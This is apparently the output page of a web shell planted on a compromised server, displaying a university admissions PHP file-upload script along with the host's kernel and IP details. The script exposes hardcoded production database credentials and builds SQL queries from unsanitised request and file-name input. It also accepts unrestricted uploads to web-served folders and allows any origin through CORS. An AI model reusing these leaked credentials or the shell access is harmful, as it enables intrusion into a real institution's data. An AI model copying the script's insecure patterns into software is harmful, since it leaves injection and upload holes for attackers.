0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.217.237.68


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/uploadMultipleFiles.php

<?php
ini_set('display_errors', 'on');
header("Access-Control-Allow-Origin: *");
header('Content-Type: multipart/form-data');
header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With, x-auth-origin, x-auth-token, x-auth-type");
$ds = DIRECTORY_SEPARATOR;
$date = date("dmYhis");
$file_resp = "";
include ("../database.php");

if($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { 
    die();
}

$dbhost = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
$dbuser = "admin";
$dbpass = "T0g3th3r@all";
$db1 = "logisys3_comexam";

$conn = new mysqli($dbhost, $dbuser, $dbpass,$db1) or die("Connect failed: %s\n". $conn -> error);


$user = json_decode($_REQUEST['body'],true);
// var_dump($user);
// die();
$univcode = $user['fcuruniv'];



if (0 < $_FILES['filefield']['error']) {
    http_response_code(409);
    echo 'Error: ' . $_FILES['filefield']['error'] . '<br>';
    $file_resp = "Failed to upload file!";
} else {

    $get_data = "select * from dbname where funivcode = '{$univcode}' and ifnull(fdeleted,'') <> 'T'";

    $result1=$conn->query($get_data); 

    $single = mysqli_fetch_assoc($result1);

    $db = $single['FDBNAME'];
    $univname = $single['FUNIVNAME'];
    $ffolder = $single['FFOLDER'];

// if (mysqli_fetch_assoc($result1) > 0) 
// {
//     // output data of each row
//     $dbnames = array();
//     $db = '';
//     while($row = mysqli_fetch_assoc($result1)) 
//     {
//         $dbnames[$row['FUNIVCODE']] = $row['FDBNAME'];
//         $db = $row['FDBNAME'];
//         $univname = $row['FUNIVNAME'];
//         $ffolder = $row['FFOLDER'];
//     }

// }



    $name = pathinfo($_FILES['filefield']['name'], PATHINFO_BASENAME);
    // $name = pathinfo($_FILES['filefield']['name'],);

    //var_dump($name);

    //$arr = (explode("-",$name));
    //$split = (explode("_",$arr[0]));
    $split = (explode("_",$name));
    
    $fdegree = $split[3];
    $fexamno = $split[4];
    $fcollcode = $split[5];
    $fyear = $split[1];
    $fexamtype = $split[2];
    $fexamdate = (explode(".",$split[6]));
    
    $fexamdate = $fexamdate[0];
    //die();
    // $exmdate = (explode(".",$split[8]));
    // $fexamdate = $split[7].'_'.$exmdate[0];
    $ffilename = $name;


    include("/var/www/config.php");
	// $servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
	// $username   = "admin";
	// $password  = "Logisys2104";

	$servername = SERVERNAME;
	$username   = USERNAME;
	$password  = PASSWORD;
	$databse = $db;


	$conn_db = new  mysqli($servername,$username,$password,$databse);
   
	if(!$conn_db) 
	{
        die("Connection failed: " . mysqli_connect_error());
	}

    $get_data = "INSERT INTO masledg
    (fdegree ,fexamno ,fcollcode ,fyear ,fexamtype ,fexamdate ,ffilename , fcreatedate, fmoddate,fdeleted)
    VALUES
    ( '{$fdegree}','{$fexamno}','{$fcollcode}','{$fyear}','{$fexamtype}','{$fexamdate}','{$ffilename}', now(), now(),'F' )
    ON DUPLICATE KEY UPDATE 
    fmoddate = values(fmoddate)";


    $result1=$conn_db->query($get_data);
   
    $filename = $name;


    // var_dump(realpath(__DIR__."../../"). $ds . $ffolder.$ds.'misc_files');
    // var_dump(dirname(dirname(__DIR__)));

    if (!file_exists(dirname(dirname(__DIR__)). $ds . $ffolder.$ds.'misc_files')) {
        mkdir(dirname(dirname(__DIR__)). $ds . $ffolder.$ds. 'misc_files', 0777, true);
        // var_dump("created");
    }
        if($univcode == '027' ){    
            $path = dirname(dirname(__DIR__)). $ds . strtolower($ffolder) . $ds. 'misc_files' . $ds . $filename;
        }else{
            $path = '/var/www/oasis/'. strtolower($ffolder) . '/misc_files/' . $filename;            
        }

        if(move_uploaded_file($_FILES['filefield']['tmp_name'], $path)){

           

        }
    // 
}

echo $path;

mysqli_close($conn);
echo $filename;